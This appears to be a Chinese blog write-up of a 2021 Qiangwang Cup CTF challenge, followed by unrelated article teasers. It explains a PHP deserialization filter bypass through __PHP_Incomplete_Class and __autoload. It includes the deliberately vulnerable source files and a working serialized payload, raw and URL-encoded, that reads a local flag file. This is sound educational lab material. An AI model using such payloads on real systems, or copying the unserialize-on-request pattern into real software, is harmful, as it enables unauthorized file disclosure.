序列化与反序列化漏洞实例
实验环境:
本次的序列化与反序列化漏洞为2021年强网杯上的一道比赛题目,我使用phpstudy集成环境将其测试环境搭建在了本地,如下。涉及的几个页面php为: index.php function.php myclass.php

index.php :
<?php
// index.php
ini_set('display_errors', 'on');
include "function.php";
$res = unserialize($_REQUEST['ctfer']);
var_dump($res);
echo '<br>';
var_dump(serialize($res));
if (preg_match('/myclass/i', serialize($res))) {echo "???";throw new Exception("Error: Class 'myclass' not found");
}
highlight_file(__FILE__);
echo "<br>";
highlight_file("myclass.php");
echo "<br>";
highlight_file("function.php");
echo "End";
function.php :
<?php
function __autoload($classname) {// function.phprequire_once "./$classname.php";
}
?>
myclass.php :
<?php
// myclass.php
//class myclass{}
class Hello {public function __destruct() {echo "I'm destructed.<br/>";var_export($this->qwb);if ($this->qwb) {echo file_get_contents($this->qwb);}}
}
?>
实验思路:
在本次中该实验考察的主题是序列化与反序列化中,当我们反序列化一个不存在的类时的处理机制。我们利用这个处理机制构建特殊的序列化的数据传入,绕过index.php中正则的过滤,最终成功的读取出flag.txt文件中的数据。注意:我们在读取时需要写绝对路径,否则读取不到数据,这里的路径为:D:\phpstudy_pro\WWW\dvwa\qwb\flag.txt
开始实验:
在开始实验前我们需要知道序列化与反序列化中的几个特殊机制:
(1):PHP在遇到不存在的类时,会把不存在的类转换成__PHP_Incomplete_Class这种特殊的类,同时将原始的类名A存放在__PHP_Incomplete_Class_Name这个属性中,其余属性存放方式不变。而我们在序列化这个对象的时候,serialize遇到__PHP_Incomplete_Class这个特殊类会倒推回来,序列化成__PHP_Incomplete_Class_Name值为类名的类。
(2):当序列化字符串中包含了一个未定义的类名,且该类没有在当前环境中被定义时,__autoload 函数就会被触发以尝试加载相应的类定义。
在这个题目中,我们需要加载myclass.php中的hello类,但是要引入hello类,根据__autoload我们需要一个classname为myclass的类,这个类并不存在,如果我们直接去反序列化,只会在反序列化myclass类的时候报错无法进入下一步,或者在反序列化Hello的时候找不到这个类而报错。根据上面的分析,我们可以使用PHP对__PHP_Incomplete_Class的特殊处理进行绕过
在index.php页面中用户可控参数ctfer,ctfer需要为一个序列化的数据。对ctfer进行反序列化再序列化后使用正则判断是否存在myclass关键字,存在就直接抛异常退出,否则就进行往下。
我们构建特殊的序列化字符串数据,ctfer:
ctfer:a:2:{i:0;O:22:"__PHP_Incomplete_Class":1:{s:3:"qwb";O:7:"myclass":0:{}}i:1;O:5:"Hello":1:{s:3:"qwb";s:37:"D:\phpstudy_pro\WWW\dvwa\qwb\flag.txt";}}这是一个序列化字符串,它包含了两个对象。第一个对象是一个名为 `__PHP_Incomplete_Class` 的类,它有一个属性 `qwb`,该属性的值是另一个名为 `myclass` 的对象。由于 `myclass` 类没有定义,所以它的值是空对象。第二个对象是一个名为 `Hello` 的类,它有一个属性 `qwb`,该属性的值是一个字符串 `D:\phpstudy_pro\WWW\dvwa\qwb\flag.txt`。这个序列化字符串可以用于在 PHP 中进行反序列化操作,以恢复原始的对象状态。
注意:由于我们时再浏览器上面进行输入的,所以我们还需要遵循规则,将其转化为urlcode编码后再传递:
ctfer = a%3a2%3a%7bi%3a0%3bO%3a22%3a%22__PHP_Incomplete_Class%22%3a1%3a%7bs%3a3%3a%22qwb%22%3bO%3a7%3a%22myclass%22%3a0%3a%7b%7d%7di%3a1%3bO%3a5%3a%22Hello%22%3a1%3a%7bs%3a3%3a%22qwb%22%3bs%3a37%3a%22D%3a%5cphpstudy_pro%5cWWW%5cdvwa%5cqwb%5cflag.txt%22%3b%7d%7d
之后我们再浏览器上面查看运行结果:我们发现文件被成功的读取出来了,并且绕过了index.php中的正则。
原理:
可以看到在反序列化之后,myclass作为了__PHP_Incomplete_Class中属性,会触发autoload引入myclass.php,而对他进行二次序列化时,因为__PHP_Incomplete_Class没有__PHP_Incomplete_Class_Name该对象会消失,从而绕过preg_match的检测,并在最后触发Hello类的反序列化。
对比可以发现,对ctfer进行反序列化再序列化后,myclass消失了,成功的绕过了index.php中的正则:
传入的序列化数据ctfer:
ctfer=a:2:{i:0;O:22:"__PHP_Incomplete_Class":1:{s:3:"qwb";O:7:"myclass":0:{}}i:1;O:5:"Hello":1:{s:3:"qwb";s:37:"D:\phpstudy_pro\WWW\dvwa\qwb\flag.txt";}}//对ctfer进行反序列化
$res = unserialize($_REQUEST['ctfer']);
var_dump($res);
结果:
array (size=2)0 => object(__PHP_Incomplete_Class)[1]public 'qwb' => object(__PHP_Incomplete_Class)[2]public '__PHP_Incomplete_Class_Name' => string 'myclass' (length=7)1 => object(Hello)[3]public 'qwb' => string 'D:\phpstudy_pro\WWW\dvwa\flag.txt' (length=33)//对反序列化的数据再进行序列化
var_dump(serialize($res));
结果:
string 'a:2:{i:0;O:22:"__PHP_Incomplete_Class":0:{}i:1;O:5:"Hello":1:{s:3:"qwb";s:37:"D:\phpstudy_pro\WWW\dvwa\qwb\flag.txt";}}' (length=119)
相关文章:
序列化与反序列化漏洞实例
实验环境: 本次的序列化与反序列化漏洞为2021年强网杯上的一道比赛题目,我使用phpstudy集成环境将其测试环境搭建在了本地,如下。涉及的几个页面php为: index.php function.php myclass.php index.php : <?php // inde…...
6、while循环 - 习题解析
目录 解析部分:分支练习1244. 请问一个正整数能够整除几次2问题描述解题思路代码实现代码解析 1062. 求落地次数问题描述解题思路代码实现代码解析 1254. 求车速问题描述解题思路代码实现代码解析 1261. 韩信点兵问题描述解题思路代码实现代码解析 解析部分…...
ReentrantLock可重入锁
可重⼊锁,这个锁可以被线程多次重复进⼊进⾏获取操作。 ReentantLock继承接⼝Lock并实现了接⼝中定义的⽅法,除了能完成synchronized所能完成的所有⼯作 外,还提供了诸如可响应中断锁、可轮询锁请求、定时锁等避免多线程死锁的⽅法。 在并发量…...
如何秒杀系统架构设计
原文路径:https://learn.lianglianglee.com/%e4%b8%93%e6%a0%8f/%e5%a6%82%e4%bd%95%e8%ae%be%e8%ae%a1%e4%b8%80%e4%b8%aa%e7%a7%92%e6%9d%80%e7%b3%bb%e7%bb%9f/00%20%e5%bc%80%e7%af%87%e8%af%8d%20%e7%a7%92%e6%9d%80%e7%b3%bb%e7%bb%9f%e6%9e%b6%e6%9e%84%e8%ae%be%e8%ae%…...
深度神经网络——什么是降维?
引言 什么是降维? 降维是用于降低数据集维度的过程,采用许多特征并将它们表示为更少的特征。 例如,降维可用于将二十个特征的数据集减少到仅有几个特征。 降维通常用于无监督学习任务 降维是一个用于降低数据集维度的过程,采用许…...
SpringMVC—RequestMapping注解
一、RequestMapping注解 RequestMapping注解:是Spring MVC框架中的一个控制器映射注解,用于将请求映射到相应的处理方法上,具体来说,他可以将指定URL的请求绑定到一个特定的方法或类上,从而实现对请求的处理和响应。 …...
Java线程池基本概念
全局和局部线程池 全局线程池 在Spring框架中,全局线程池如ThreadPoolTaskExecutor通常是作为Spring Bean存在的,它们的生命周期由Spring容器管理。当Spring容器关闭时,这些线程池也会被适当地清理和关闭。因此,开发者通常不需要手…...
智能车联网安全发展形势、挑战
一、技术演进加速车联网安全环境复杂变化 当前,5G、大数据、大算力、大模型等技术正加速在车联网领域实现融合应用。车联网的网络通信能力、感知计算水平以及创新业务应用都在快速发展,与此同时,车联网的网络安全环境也在随之演进变化&#…...
AWS概述
AWS概述EMR Serverless Aamzon Web Services提供了一系列全球范围的云产品,包括计算、存储、数据库、分析、网络、移动、开发工具、管理工具、IoT、安全和企业应用:按需交付、及时可用、采用随用随付的定价模式。你可以畅享200多种服务,从数据…...
MySQL常见面试题自测
文章目录 MySQL基础架构一、说说 MySQL 的架构?二、一条 SQL语句在MySQL中的执行过程 MySQL存储引擎一、MySQL 提供了哪些存储引擎?二、MySQL 存储引擎架构了解吗?三、MyISAM 和 InnoDB 的区别? MySQL 事务一、何谓事务࿱…...
c语言回顾-函数递归
1.递归的介绍 1.1什么是递归 递归是指在一个函数的定义中调用自身的过程。简单来说,递归是一种通过重复调用自身来解决问题的方法。 递归包括两个关键要素:基本情况和递归情况。基本情况是指当问题达到某个特定条件时,不再需要递归调用&am…...
消息队列-RabbitMQ-延时队列实现
死信队列 DLX,全称为Dead-Letter-Exchange,死信交换机,死信邮箱。当消息在一个队列中变成死信之后,它能重新发送到另外一个交换器中,这个交换器就是DLX,绑定DLX的队列就称为死信队列。 导致死信的几种原因: ● 消息…...
【热门开源项目推荐】满足不同程序员的需求与关注点
目录 前言一、热门开源项目介绍二、使用开源热门项目的优势(一)经济方面(二)技术方面(三)社区支持及协作方面 三、程序员选择项目模型建议(一)关键步骤(二)示…...
一文理清GO语言日志库实现开发项目中的日志功能(rotatelogs/zap分析)
一文理清GO语言日志库实现开发项目中的日志功能(rotatelogs/zap分析) rotatelogs rotatelogs 是一个用于管理日志文件的 Go 语言库,它提供了自动轮换、压缩和删除旧日志文件的功能。这个库可以帮助你更好地管理和维护你的应用程序日志。要使…...
【Go语言精进之路】构建高效Go程序:了解string实现原理并高效使用
🔥 个人主页:空白诗 🔥 热门专栏:【Go语言精进之路】 文章目录 引言一、Go语言的字符串类型1.1 字符串的定义1.2 字符串的零值可用1.3 字符串的不可变性1.4 字符串的拼接1.5 字符串的常用方法1.6 实际使用示例 二、字符串的内部表…...
HDFS 常见命令
在HDFS创建文件夹:hdfs dfs -mkdir /test 复制本地文件到HDFS中某个目录下:hdfs dfs -put /本地路径 /hdfs 路径 查看文件内容:hdfs dfs -cat /test.txt 查看当前文件夹目录:hdfs dfs -ls / 查看文件夹中的文件数:…...
示例:WPF中应用Grid的SharedSizeGroup设置整齐的布局
一、目的:应用Grid的SharedSizeGroup设置整齐的布局 二、实现 <ItemsControl ItemsSource"{local:GetStudents Count5}"><ItemsControl.ItemTemplate><DataTemplate><Grid ShowGridLines"True"><Grid.ColumnDefinit…...
React的form表单自定义校验规则
使用antd开发的过程中,必定会遇到需要对form表单进行必填校验的处理,正常情况下,我们都会一个空的必填校验,如下:一般我们只需要简单配置rules即可 <FormItem label"管理员姓名" {...itemLayout.wholeLi…...
一种新的一维时间序列信号盲解卷积算法(以旋转机械故障诊断为例,MATLAB环境)
一种新的一维时间序列信号盲解卷积算法(以旋转机械故障诊断为例,MATLAB环境),可作为深度学习信号前处理过程,水个SCI不是问题。 机械设备的状态信号中往往蕴含着大量的设备异常信息。如何从繁多的机械状态信号中提取足…...
618电商是社区网站入局的好时机吗?
近日,随着618大促的临近,许多内容平台像B站、小红书等纷纷被电商活动所充斥,让用户感觉仿佛被电商绑架一般。这种用户体验的极度不佳让人开始思考,难道这就是互联网社区的未来发展方向吗? 在所有平台性质的社区中&…...
第19节 Node.js Express 框架
Express 是一个为Node.js设计的web开发框架,它基于nodejs平台。 Express 简介 Express是一个简洁而灵活的node.js Web应用框架, 提供了一系列强大特性帮助你创建各种Web应用,和丰富的HTTP工具。 使用Express可以快速地搭建一个完整功能的网站。 Expre…...
基于ASP.NET+ SQL Server实现(Web)医院信息管理系统
医院信息管理系统 1. 课程设计内容 在 visual studio 2017 平台上,开发一个“医院信息管理系统”Web 程序。 2. 课程设计目的 综合运用 c#.net 知识,在 vs 2017 平台上,进行 ASP.NET 应用程序和简易网站的开发;初步熟悉开发一…...
遍历 Map 类型集合的方法汇总
1 方法一 先用方法 keySet() 获取集合中的所有键。再通过 gey(key) 方法用对应键获取值 import java.util.HashMap; import java.util.Set;public class Test {public static void main(String[] args) {HashMap hashMap new HashMap();hashMap.put("语文",99);has…...
1688商品列表API与其他数据源的对接思路
将1688商品列表API与其他数据源对接时,需结合业务场景设计数据流转链路,重点关注数据格式兼容性、接口调用频率控制及数据一致性维护。以下是具体对接思路及关键技术点: 一、核心对接场景与目标 商品数据同步 场景:将1688商品信息…...
什么是EULA和DPA
文章目录 EULA(End User License Agreement)DPA(Data Protection Agreement)一、定义与背景二、核心内容三、法律效力与责任四、实际应用与意义 EULA(End User License Agreement) 定义: EULA即…...
PL0语法,分析器实现!
简介 PL/0 是一种简单的编程语言,通常用于教学编译原理。它的语法结构清晰,功能包括常量定义、变量声明、过程(子程序)定义以及基本的控制结构(如条件语句和循环语句)。 PL/0 语法规范 PL/0 是一种教学用的小型编程语言,由 Niklaus Wirth 设计,用于展示编译原理的核…...
Python如何给视频添加音频和字幕
在Python中,给视频添加音频和字幕可以使用电影文件处理库MoviePy和字幕处理库Subtitles。下面将详细介绍如何使用这些库来实现视频的音频和字幕添加,包括必要的代码示例和详细解释。 环境准备 在开始之前,需要安装以下Python库:…...
uniapp中使用aixos 报错
问题: 在uniapp中使用aixos,运行后报如下错误: AxiosError: There is no suitable adapter to dispatch the request since : - adapter xhr is not supported by the environment - adapter http is not available in the build 解决方案&…...
Java多线程实现之Thread类深度解析
Java多线程实现之Thread类深度解析 一、多线程基础概念1.1 什么是线程1.2 多线程的优势1.3 Java多线程模型 二、Thread类的基本结构与构造函数2.1 Thread类的继承关系2.2 构造函数 三、创建和启动线程3.1 继承Thread类创建线程3.2 实现Runnable接口创建线程 四、Thread类的核心…...
企业如何增强终端安全?
在数字化转型加速的今天,企业的业务运行越来越依赖于终端设备。从员工的笔记本电脑、智能手机,到工厂里的物联网设备、智能传感器,这些终端构成了企业与外部世界连接的 “神经末梢”。然而,随着远程办公的常态化和设备接入的爆炸式…...
